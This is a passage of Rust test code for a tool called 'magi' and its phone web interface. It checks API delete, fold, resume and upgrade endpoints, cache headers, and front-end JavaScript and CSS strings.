5291            PathBuf::from("/repo"),
5292            Source::Human,
5293        );
5294        let run_id = "20260901-000000-r111";
5295        t1.runs.push(run_id.to_owned());
5296        write_run(&fx.runs(), run_id, RunStatus::Merged);
5297        q.put(&mut t1).expect("put t1");
5298
5299        // Delete by short id
5300        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
5301        assert_eq!(res.status, 204);
5302        assert!(res.body.is_empty(), "204 No Content has no body");
5303        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
5304        assert!(
5305            fx.runs().join(run_id).exists(),
5306            "run directory must not be deleted when its task is deleted"
5307        );
5308
5309        // 2. A task a live daemon is running is refused with 409.
5310        let mut t2 = Task::new(
5311            "Task 2".to_owned(),
5312            "Instruction 2".to_owned(),
5313            PathBuf::from("/repo"),
5314            Source::Human,
5315        );
5316        t2.status = TaskStatus::Running;
5317        q.put(&mut t2).expect("put t2");
5318        let mut beat = crate::daemon::Status::new();
5319        beat.current = Some(crate::daemon::Current {
5320            task: t2.id.clone(),
5321            run: "20260901-000000-r222".to_owned(),
5322        });
5323        beat.updated_at = jiff::Timestamp::now();
5324        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5325            .expect("publish a heartbeat");
5326        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
5327        assert_eq!(res.status, 409);
5328        assert!(
5329            res.json()["error"]
5330                .as_str()
5331                .unwrap()
5332                .contains("live daemon")
5333        );
5334        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
5335
5336        // 3. The same `running` status and an orphaned lock, with no daemon
5337        // behind either, is a leftover and deletable. Before this the phone
5338        // refused it for good: the status never changes on its own and
5339        // nothing drops a lock whose process is gone.
5340        // The daemon is killed: the file stays, the heartbeat stops.
5341        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
5342        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5343            .expect("leave a stale heartbeat");
5344        let mut t3 = Task::new(
5345            "Task 3".to_owned(),
5346            "Instruction 3".to_owned(),
5347            PathBuf::from("/repo"),
5348            Source::Human,
5349        );
5350        t3.status = TaskStatus::Running;
5351        q.put(&mut t3).expect("put t3");
5352        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
5353        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
5354        assert_eq!(res.status, 204);
5355        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
5356        assert!(
5357            q.claim(&t3.id).is_ok(),
5358            "the stale lock went with it, so the id is claimable again"
5359        );
5360
5361        // 4. Missing id returns 404
5362        let res = fx.delete("/api/queue/nonexistent").await;
5363        assert_eq!(res.status, 404);
5364    }
5365
5366    #[tokio::test]
5367    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
5368        let fx = Fixture::start().await;
5369        let runs = fx.runs();
5370
5371        // 1. Finished and folded run can be deleted along with artifacts
5372        let run_id = "20260901-000000-fold";
5373        let mut state = RunState::new(
5374            PathBuf::from("/repo"),
5375            "main".to_owned(),
5376            "abc".to_owned(),
5377            "instruction".to_owned(),
5378            Config::default(),
5379        );
5380        state.id = run_id.to_owned();
5381        state.status = RunStatus::Merged;
5382        state.candidates.push(crate::run::Candidate {
5383            index: 0,
5384            label: 'A',
5385            agent: "a".to_owned(),
5386            branch: "b".to_owned(),
5387            worktree: PathBuf::from("/w"),
5388            summary: String::new(),
5389            stat: String::new(),
5390            files: 1,
5391            commits: 1,
5392            empty: false,
5393            failed: None,
5394            duration_ms: 0,
5395            folded: true,
5396        });
5397        let dir = runs.join(run_id);
5398        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
5399        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
5400            .expect("write artifact");
5401        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
5402            .expect("write run.json");
5403
5404        // Delete by short id
5405        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
5406        assert_eq!(res.status, 204);
5407        assert!(res.body.is_empty(), "204 has no body");
5408        assert!(!dir.exists(), "run directory and artifacts must be deleted");
5409
5410        // 2. A run a live daemon is working on is refused with 409. The
5411        // heartbeat is what makes it refusable: an unfinished run with no
5412        // daemon behind it is a leftover from a killed process, and case 1
5413        // above would otherwise be impossible to tell apart from this one.
5414        let run_running = "20260901-000000-rung";
5415        write_run(&runs, run_running, RunStatus::Prep);
5416        let mut beat = crate::daemon::Status::new();
5417        beat.current = Some(crate::daemon::Current {
5418            task: "20260901-000000-task".to_owned(),
5419            run: run_running.to_owned(),
5420        });
5421        beat.updated_at = jiff::Timestamp::now();
5422        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5423            .expect("publish a heartbeat");
5424        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
5425        assert_eq!(res.status, 409);
5426        assert!(
5427            res.json()["error"]
5428                .as_str()
5429                .unwrap()
5430                .contains("live daemon"),
5431            "the refusal must say who is holding it"
5432        );
5433        assert!(
5434            runs.join(run_running).exists(),
5435            "a run in flight keeps its directory"
5436        );
5437
5438        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
5439        let run_unfolded = "20260901-000000-unfd";
5440        let mut state2 = RunState::new(
5441            PathBuf::from("/repo"),
5442            "main".to_owned(),
5443            "abc".to_owned(),
5444            "instruction".to_owned(),
5445            Config::default(),
5446        );
5447        state2.id = run_unfolded.to_owned();
5448        state2.status = RunStatus::Ready;
5449        state2.candidates.push(crate::run::Candidate {
5450            index: 0,
5451            label: 'A',
5452            agent: "a".to_owned(),
5453            branch: "b".to_owned(),
5454            worktree: PathBuf::from("/w"),
5455            summary: String::new(),
5456            stat: String::new(),
5457            files: 1,
5458            commits: 1,
5459            empty: false,
5460            failed: None,
5461            duration_ms: 0,
5462            folded: false,
5463        });
5464        let dir2 = runs.join(run_unfolded);
5465        std::fs::create_dir_all(&dir2).expect("create dir2");
5466        std::fs::write(
5467            dir2.join("run.json"),
5468            serde_json::to_string(&state2).unwrap(),
5469        )
5470        .expect("write run.json");
5471
5472        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
5473        assert_eq!(res.status, 409);
5474        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
5475        assert!(dir2.exists(), "unfolded run directory is kept");
5476
5477        // 4. Missing id returns 404
5478        let res = fx.delete("/api/runs/nonexistent").await;
5479        assert_eq!(res.status, 404);
5480    }
5481
5482    #[test]
5483    fn web_ui_delete_contract_in_front_end() {
5484        // 1. API block has both delete endpoints
5485        assert!(APP_JS.contains("deleteRun:"));
5486        assert!(APP_JS.contains("deleteTask:"));
5487
5488        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
5489        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
5490            ..APP_JS.find("function renderRuns").unwrap()];
5491        assert!(!run_cards_slice.to_lowercase().contains("delete"));
5492
5493        // 3. Run detail has delete entry and reasons
5494        assert!(APP_JS.contains("renderRunDelete"));
5495        assert!(APP_JS.contains("runDeleteReason"));
5496        assert!(APP_JS.contains("magi fold"));
5497        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
5498
5499        // 4. Two-step delete arming and focus on Cancel
5500        assert!(APP_JS.contains("cancel.focus"));
5501        assert!(APP_JS.contains("armedRunDelete"));
5502        assert!(APP_JS.contains("armedDelete"));
5503
5504        // 5. Running task has disabled delete
5505        assert!(APP_JS.contains("disabled: status === \"running\""));
5506    }
5507
5508    /// Every element a run card's updater reaches for must be in the `refs`
5509    /// the builder handed it.
5510    ///
5511    /// `createRunCard` builds its elements, appends them to the card, and then
5512    /// lists them again in `row.refs`. That second list is the one the updater
5513    /// uses, and nothing connects the two - an element can be built, appended
5514    /// and rendered, and still be missing from `refs`. `superseded` was, for
5515    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
5516    /// exception took `syncList` with it, and the deck showed
5517    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
5518    /// line is computed before the cards, which is why the failure looked like
5519    /// a server that had lost its runs rather than a front end that had
5520    /// stopped rendering them.
5521    ///
5522    /// A `cargo test` cannot execute the front end, so this reads the two
5523    /// halves out of the source and compares them as sets. It is not a check
5524    /// on the wording of either list: adding an element, renaming one, or
5525    /// reordering them all keeps this passing, and only using one the builder
5526    /// never published fails it.
5527    #[test]
5528    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
5529        let build = APP_JS
5530            .find("function createRunCard")
5531            .expect("createRunCard exists");
5532        let update = APP_JS
5533            .find("function updateRunCard")
5534            .expect("updateRunCard exists");
5535        let end = APP_JS
5536            .find("function renderRuns")
5537            .expect("renderRuns exists");
5538
5539        // The builder's published set: the object literal assigned to `refs`.
5540        let builder = &APP_JS[build..update];
5541        let open = builder.find("refs = {").expect("createRunCard sets refs");
5542        let literal = &builder[open + "refs = {".len()..];
5543        let close = literal.find('}').expect("the refs literal is closed");
5544        let published: HashSet<&str> = literal[..close]
5545            .split(',')
5546            // `name` and `name: value` both bind `name`.
5547            .filter_map(|entry| entry.split(':').next())
5548            .map(str::trim)
5549            .filter(|name| !name.is_empty())
5550            .collect();
5551        assert!(
5552            published.len() > 5,
5553            "the refs literal did not parse into names: {published:?}"
5554        );
5555
5556        // What the updaters reach for: every `r.<name>`, where `r` is the
5557        // `const r = row.refs` alias both functions open with.
5558        let mut used: Vec<&str> = Vec::new();
5559        let updaters = &APP_JS[update..end];
5560        for (at, _) in updaters.match_indices("r.") {
5561            // `r` must be the whole identifier, not the tail of another one
5562            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
5563            let before = updaters[..at].chars().next_back();
5564            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
5565                continue;
5566            }
5567            let rest = &updaters[at + 2..];
5568            let len = rest
5569                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
5570                .unwrap_or(rest.len());
5571            if len > 0 {
5572                used.push(&rest[..len]);
5573            }
5574        }
5575        assert!(
5576            used.len() > 5,
5577            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
5578        );
5579
5580        let missing: Vec<&str> = used
5581            .iter()
5582            .copied()
5583            .filter(|name| !published.contains(name))
5584            .collect();
5585        assert!(
5586            missing.is_empty(),
5587            "a run card's updater reaches for {missing:?}, which `createRunCard` \
5588             never put in `refs` - every card will throw and the list will \
5589             render empty under a count line that says otherwise. Published: \
5590             {published:?}"
5591        );
5592    }
5593
5594    #[tokio::test]
5595    async fn folding_from_the_phone_reports_what_it_removed() {
5596        let fx = Fixture::start().await;
5597        let runs = fx.runs();
5598
5599        // A run with no candidates has nothing to fold, which is a 200 with an
5600        // honest count rather than an error: the operator asked for the trees
5601        // to be gone and they are.
5602        let id = "20260901-000000-fold";
5603        write_run(&runs, id, RunStatus::Stalled);
5604        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5605        assert_eq!(res.status, 200);
5606        assert_eq!(res.json()["removed_count"], 0);
5607        assert_eq!(res.json()["run"], id);
5608        assert!(
5609            runs.join(id).exists(),
5610            "a fold keeps the run's record; only the worktrees go"
5611        );
5612    }
5613
5614    #[tokio::test]
5615    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
5616        let fx = Fixture::start().await;
5617        let runs = fx.runs();
5618        let wt = fx.home.path().join("wt").join("magi").join("dead");
5619        let id = "20260901-000000-dead";
5620        std::fs::create_dir_all(runs.join(id)).expect("run dir");
5621        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
5622        std::fs::create_dir_all(&wt).expect("worktree dir");
5623
5624        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5625        assert_eq!(res.status, 200, "{}", res.body);
5626        assert!(
5627            res.json()["removed_count"].as_u64().unwrap() > 0,
5628            "the worktree this build could not read a state for still went"
5629        );
5630        assert!(
5631            !runs.join(id).exists(),
5632            "an unreadable run has no candidate list to fold selectively, so \
5633             the whole record goes - same as `magi fold` on the CLI"
5634        );
5635    }
5636
5637    #[tokio::test]
5638    async fn deleting_an_unreadable_run_removes_it_wholesale() {
5639        let fx = Fixture::start().await;
5640        let runs = fx.runs();
5641        let wt = fx.home.path().join("wt").join("magi").join("gone");
5642        let id = "20260901-000000-gone";
5643        std::fs::create_dir_all(runs.join(id)).expect("run dir");
5644        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
5645        std::fs::create_dir_all(&wt).expect("worktree dir");
5646
5647        let res = fx.delete(&format!("/api/runs/{id}")).await;
5648        assert_eq!(res.status, 204, "{}", res.body);
5649        assert!(!runs.join(id).exists(), "the broken record is gone");
5650        assert!(!wt.exists(), "its worktree is gone too");
5651    }
5652
5653    #[tokio::test]
5654    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
5655        let fx = Fixture::start().await;
5656        let runs = fx.runs();
5657        let id = "20260901-000000-live";
5658        write_run(&runs, id, RunStatus::Implementing);
5659
5660        let mut beat = crate::daemon::Status::new();
5661        beat.current = Some(crate::daemon::Current {
5662            task: "20260901-000000-task".to_owned(),
5663            run: id.to_owned(),
5664        });
5665        beat.updated_at = jiff::Timestamp::now();
5666        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5667            .expect("publish a heartbeat");
5668
5669        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5670        assert_eq!(res.status, 409);
5671        assert!(
5672            res.json()["error"]
5673                .as_str()
5674                .unwrap()
5675                .contains("live daemon"),
5676            "folding under a running agent would pull its worktree away"
5677        );
5678    }
5679
5680    #[tokio::test]
5681    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
5682        let fx = Fixture::start().await;
5683        let runs = fx.runs();
5684
5685        // Only a finished run and a failed one. An *interrupted* run - a
5686        // parked one, or one whose daemon was killed mid-node - is the case
5687        // resuming exists for: run 4043 sat at `reviewing` with the deck
5688        // saying it could not be resumed, which was the one state where
5689        // resuming was the only sensible answer.
5690        for (status, word) in [
5691            (RunStatus::Merged, "merged"),
5692            (RunStatus::Ready, "ready"),
5693            (RunStatus::Failed, "failed"),
5694        ] {
5695            let id = format!("20260901-000000-{}", &word[..4]);
5696            write_run(&runs, &id, status);
5697            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
5698            assert_eq!(res.status, 409, "{word} must not be resumable");
5699            let err = res.json()["error"].as_str().unwrap().to_owned();
5700            assert!(err.contains(word), "the refusal names the status: {err}");
5701        }
5702
5703        // And an interrupted run is accepted: 202, with the resume running in
5704        // the background. `Runner::resume` fails immediately here - the
5705        // fixture's run points at a repository that does not exist - which is
5706        // the point: the handler must not wait for it to find out.
5707        let mid = "20260901-000000-midf";
5708        write_run(&runs, mid, RunStatus::Reviewing);
5709        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
5710        assert_eq!(res.status, 202, "an interrupted run is resumable");
5711    }
5712
5713    #[tokio::test]
5714    async fn resume_is_refused_while_the_loop_is_running() {
5715        let fx = Fixture::start().await;
5716        let runs = fx.runs();
5717        let stalled = "20260901-000000-stal";
5718        write_run(&runs, stalled, RunStatus::Stalled);
5719
5720        // The loop is busy with a *different* run, and that is still a refusal:
5721        // one competition at a time is the point, not one per run.
5722        let mut beat = crate::daemon::Status::new();
5723        beat.current = Some(crate::daemon::Current {
5724            task: "20260901-000000-task".to_owned(),
5725            run: "20260901-000000-othr".to_owned(),
5726        });
5727        beat.updated_at = jiff::Timestamp::now();
5728        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5729            .expect("publish a heartbeat");
5730
5731        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5732        assert_eq!(res.status, 409);
5733        let err = res.json()["error"].as_str().unwrap().to_owned();
5734        assert!(err.contains("othr"), "it names what the loop is on: {err}");
5735        assert!(err.contains("one competition at a time"), "{err}");
5736    }
5737
5738    #[test]
5739    fn a_run_cannot_be_resumed_twice_at_once() {
5740        let home = TempDir::new().expect("temp home");
5741        let ui = Ui::new(
5742            Queue::at(home.path().join("queue")),
5743            Questions::at(home.path().join("questions")),
5744            Chats::at(home.path().join("chats")),
5745            Talks::at(home.path().join("talks")),
5746            home.path().join("runs"),
5747            home.path().to_path_buf(),
5748            PathBuf::from("/repo"),
5749        )
5750        .with_worktrees_root(home.path().join("wt"));
5751        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5752        let again = ui.begin_resume("20260901-000000-once");
5753        assert!(again.is_err(), "a second tap must not start a second graph");
5754        drop(first);
5755        assert!(
5756            ui.begin_resume("20260901-000000-once").is_ok(),
5757            "and the claim is released when the attempt ends"
5758        );
5759    }
5760
5761    #[test]
5762    fn refreshing_a_conversation_never_navigates_to_it() {
5763        // Reproduced on the deck: send a turn in one conversation, open
5764        // another, and ten seconds later the transcript on screen was the
5765        // first one while the address bar still named the second.
5766        // `tickWait`'s insurance calls `loadChat` for the *waiting* chat, and
5767        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
5768        // a navigation.
5769        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5770            ..APP_JS.find("async function startChat(").expect("startChat")];
5771        assert!(
5772            !body.contains("state.chatDetail = {"),
5773            "loadChat must not decide which conversation is on screen: {body}"
5774        );
5775        assert!(
5776            body.contains("if (state.chatDetail.id !== id) return;"),
5777            "it returns instead of drawing a chat the operator is not reading"
5778        );
5779
5780        // The turn still has to be settled from there, and before that check,
5781        // because the insurance exists for a reply that lands while the
5782        // operator is elsewhere - otherwise the wait strip runs forever.
5783        assert!(
5784            body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5785            "settle the turn before the on-screen check"
5786        );
5787
5788        // Choosing the conversation on screen belongs to the router.
5789        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5790        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5791    }
5792
5793    #[tokio::test]
5794    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5795        let fx = Fixture::start().await;
5796        // Somebody else's `magi serve` owns the queue. Replacing this binary
5797        // would leave that process running an old one against the same
5798        // claims, which is worse than refusing.
5799        let mut beat = crate::daemon::Status::new();
5800        beat.pid = 4321;
5801        beat.updated_at = jiff::Timestamp::now();
5802        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5803            .expect("publish a heartbeat");
5804
5805        let res = fx.post("/api/upgrade", None).await;
5806        assert_eq!(res.status, 409);
5807        let err = res.json()["error"].as_str().unwrap().to_owned();
5808        assert!(err.contains("4321"), "the refusal names the owner: {err}");
5809        assert!(err.contains("old one against the same queue"), "{err}");
5810    }
5811
5812    #[tokio::test]
5813    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5814        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
5815        // and the route answers from its own logic.
5816        //
5817        // This test used to lean on the fixture's placeholder repo failing
5818        // config discovery, which left `mode = "notify"` - and a live,
5819        // unauthenticated call to the GitHub releases API inside a unit test.
5820        // GitHub allows 60 of those an hour per address, so the suite went red
5821        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
5822        // long as somebody kept re-running it: every attempt spent another
5823        // request. Six reruns across four pull requests were charged to that
5824        // before it was read as a rate limit rather than a flake.
5825        //
5826        // What the assertion is about is the "already current" branch, which
5827        // is reached by there being no newer release *or* nowhere to look. The
5828        // second one needs no network and cannot be rate limited.
5829        let repo = TempDir::new().expect("repo dir");
5830        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
5831            .expect("write magi.toml");
5832        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
5833
5834        // It must answer 200 and leave the process alone: restarting for an
5835        // upgrade that did not happen parks the run in flight and drops every
5836        // connection to pay for nothing. A probe against a deck already on the
5837        // newest build did exactly that, which is how this case got its own
5838        // branch.
5839        let res = fx.post("/api/upgrade", None).await;
5840        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5841        let body = res.json();
5842        assert!(body["to"].is_null(), "there was no release to move to");
5843        assert!(body["parked"].is_null(), "and nothing was parked");
5844        assert!(
5845            body["detail"]
5846                .as_str()
5847                .unwrap()
5848                .contains("nothing restarted"),
5849            "{body:?}"
5850        );
5851    }
5852
5853    #[test]
5854    fn the_upgrade_button_arms_before_it_restarts_anything() {
5855        // It ends the process the operator is talking to, and a phone in a
5856        // pocket taps things. One tap arms, the second commits.
5857        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5858        assert!(APP_JS.contains("Replace the binary and restart?"));
5859        assert!(APP_JS.contains("function confirmed("));
5860        // Hidden when the loop is somebody else's, matching the 409 above.
5861        assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5862        // A park waits for the node in flight, up to an hour for an implement
5863        // wave. Leaving the button reading "Upgrading…" for that long is the
5864        // same mistake as an error rendered off screen: it looks wedged.
5865        assert!(
5866            APP_JS.contains("Parking, then restarting"),
5867            "the button says what it is waiting for"
5868        );
5869        // And nothing to install must give the button back rather than
5870        // pretending a restart is coming.
5871        assert!(APP_JS.contains("if (!out.to)"));
5872    }
5873
5874    #[test]
5875    fn an_error_is_visible_from_where_the_button_is() {
5876        // The alert used to sit in the flow under the header. On a phone
5877        // scrolled 13 500 px down to a run's action sheet that is off screen,
5878        // so tapping Resume and being told "the loop is running run b455
5879        // right now" looked exactly like a button that did nothing.
5880        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5881            ..APP_CSS.find(".alert-text").expect(".alert-text")];
5882        assert!(
5883            alert.contains("position: fixed"),
5884            "an error about the thing under your thumb has to be visible from \
5885             where your thumb is: {alert}"
5886        );
5887        assert!(
5888            alert.contains("z-index: 25"),
5889            "above the dock (20) and the run-actions FAB (15), so neither \
5890             buries it: {alert}"
5891        );
5892        assert!(
5893            alert.contains("var(--tap)"),
5894            "and clear of the dock and the home indicator: {alert}"
5895        );
5896        // The FAB sits at the same height on the right. An error that covered
5897        // it would hide the button the operator reaches for next.
5898        assert!(
5899            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5900            "the FAB's column stays free: {alert}"
5901        );
5902    }
5903
5904    #[tokio::test]
5905    async fn an_older_attempt_says_what_replaced_it() {
5906        let fx = Fixture::start().await;
5907        let q = fx.queue();
5908        let runs = fx.runs();
5909        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5910        write_run(&runs, first, RunStatus::Stalled);
5911        write_run(&runs, second, RunStatus::Blocked);
5912
5913        let mut t = Task::new(
5914            "one task".to_owned(),
5915            "do it".to_owned(),
5916            PathBuf::from("/repo"),
5917            Source::Human,
5918        );
5919        t.runs = vec![first.to_owned(), second.to_owned()];
5920        q.put(&mut t).expect("put");
5921
5922        // Two cards with the same title and no hint which is which was the
5923        // question: "why are there two of the same, one stalled and one
5924        // blocked?" The older one now names its replacement.
5925        let rows = fx.get("/api/runs").await.json();
5926        let by = |short: &str| -> Value {
5927            rows.as_array()
5928                .unwrap()
5929                .iter()
5930                .find(|r| r["short"] == short)
5931                .cloned()
5932                .unwrap_or(Value::Null)
5933        };
5934        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5935        assert!(
5936            by("bbbb")["superseded_by"].is_null(),
5937            "the latest attempt is not superseded by anything"
5938        );
5939        // Front end: the note has to be rendered, not just carried.
5940        assert!(APP_JS.contains("run.superseded_by"));
5941        assert!(APP_JS.contains("Superseded by"));
5942    }
5943
5944    #[tokio::test]
5945    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5946        let fx = Fixture::start().await;
5947        // No cache header at all meant browsers invented their own policy,
5948        // and one did: a phone went on showing "Candidates must be folded
5949        // before deleting. Run `magi fold` first." - deleted two releases
5950        // earlier - from a deck that no longer contained the sentence. The
5951        // button it named was right there, and unreachable.
5952        let js = fx.get("/app.js").await;
5953        assert_eq!(js.status, 200);
5954        let tag = js
5955            .header("etag")
5956            .expect("an etag to revalidate against")
5957            .to_owned();
5958        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5959        assert_eq!(
5960            js.header("cache-control"),
5961            Some("no-cache, must-revalidate"),
5962            "the phone has to ask every time"
5963        );
5964
5965        // And the asking has to be cheap, or `must-revalidate` just means
5966        // "send the whole interface on every load".
5967        let again = fx
5968            .get_with("/app.js", &[("if-none-match", tag.as_str())])
5969            .await;
5970        assert_eq!(
5971            again.status, 304,
5972            "a deck it already has costs one round trip"
5973        );
5974        assert!(again.body.is_empty(), "304 carries no body");
5975
5976        // A weakened tag from a proxy still matches; a different build does
5977        // not, which is the case that has to deliver the new interface.
5978        let weak = fx
5979            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5980            .await;
5981        assert_eq!(weak.status, 304);
5982        let stale = fx
5983            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5984            .await;
5985        assert_eq!(stale.status, 200, "an older build must be replaced");
5986        assert!(stale.body.contains("renderRunActions"));
5987    }
5988
5989    #[test]
5990    fn the_deck_never_sends_the_operator_to_a_terminal() {
5991        // The whole point of the phone UI is that a terminal is not needed.
5992        // The delete control used to answer with "Run `magi fold` first."
5993        assert!(
5994            !APP_JS.contains("Run `magi fold` first"),
5995            "the deck must offer the fold, not prescribe a shell command"
5996        );
5997        assert!(APP_JS.contains("foldRun:"));
5998        assert!(APP_JS.contains("resumeRun:"));
5999        assert!(APP_JS.contains("renderRunActions"));
6000
6001        // Folding is destructive and armed in two steps, like deleting.
6002        assert!(APP_JS.contains("armedFold"));
6003        assert!(APP_JS.contains("Yes, fold worktrees"));
6004
6005        // And the copy has to say that the two actions are opposites, because
6006        // folding throws away exactly what a resume would continue from.
6007        assert!(APP_JS.contains("can no longer be resumed"));
6008    }
6009
6010    #[test]
6011    fn a_finished_run_explains_itself_with_its_own_last_line() {
6012        // The deck used to answer "why did this stop?" with a sentence chosen
6013        // by status alone. Run e633 stalled because two judges answered with
6014        // the wrong JSON shape and its card said "The panel collapsed on
6015        // agent quota" - with `quota: []` in the record and a quota-loss
6016        // counter right above it that correctly said nothing.
6017        assert!(
6018            !APP_JS.contains("collapsed on agent quota"),
6019            "a stall must not be explained by a cause the deck did not check"
6020        );
6021        assert!(
6022            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
6023            "and a block must not offer a guess with an `or` in it"
6024        );
6025
6026        // The reason it does have is `run.event`, which must reach finished
6027        // runs: gating it on movement hid the recorded truth at the one moment
6028        // the operator is reading the card to find out what happened.
6029        assert!(
6030            APP_JS.contains("setText(r.event, run.event || \"\")"),
6031            "the run's last line is rendered unconditionally"
6032        );
6033        assert!(
6034            !APP_JS.contains("moving && run.event"),
6035            "and never gated on the run still moving"
6036        );
6037
6038        // Quota keeps its own counter, fed by the number actually recorded.
6039        assert!(APP_JS.contains("lost to quota"));
6040    }
6041}